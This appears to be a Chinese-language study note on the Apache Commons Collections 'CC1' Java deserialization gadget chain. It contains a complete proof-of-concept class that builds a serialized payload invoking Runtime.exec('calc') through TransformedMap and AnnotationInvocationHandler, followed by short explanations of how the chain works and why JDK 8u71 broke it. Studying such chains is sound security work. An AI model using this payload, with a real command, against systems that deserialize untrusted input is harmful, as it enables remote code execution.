POC:
package test.com.cc;
// Apache Common Collections
// Version < 3.22
// 3.22 禁止了 InvokerTransformer 反序列化执行
// jdk <= Java 8u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import test.com.Serializer;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class cc1_before_8u71 {
public static byte[] payload() throws IOException, ClassNotFoundException,
InvocationTargetException, InstantiationException, IllegalAccessException,
NoSuchMethodException, NoSuchFieldException {
// Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
// obj.exec("calc");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{ null, null }),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformers
Map map = new HashMap();
TransformedMap transformedmap = (TransformedMap)
TransformedMap.decorate(map,transformerChain, transformerChain); // value transform
map.put("value","1"); // 必须是value
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(SuppressWarnings.class, transformedmap);
// public @interface xx 搜索得到,且有方法存在.
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
return Serializer.Serialize(obj);
}
}
Transformers
主要的用途:
- ConstantTransformer 就算保存这个类,调用transform的适合返回保存的常量类
- InvokerTransformer 执行Object的 相应方法
- ChainedTransformer 把多个transformer组合在一起
- TransformedMap 对map做修饰,可以普通的Map加上transformer
- TransformedMap 在 put 键值对进去的适合会触发transformer的调用
反序列化要求:待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口
所以不能直接传Runtime类,transformer调用链可以这样写:
//Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
//obj.exec("calc");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{ null, null }),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
sun.reflect.annotation.AnnotationInvocationHandler
这个类的readObject可以触发setvalue, 这个操作也会触发value的transformer.transform()
java 8u71之后,这个类的ReadObject方法被修改,调用链中断。
思考
- AnnotationInvocationHandler是干什么的,为什么会用到map?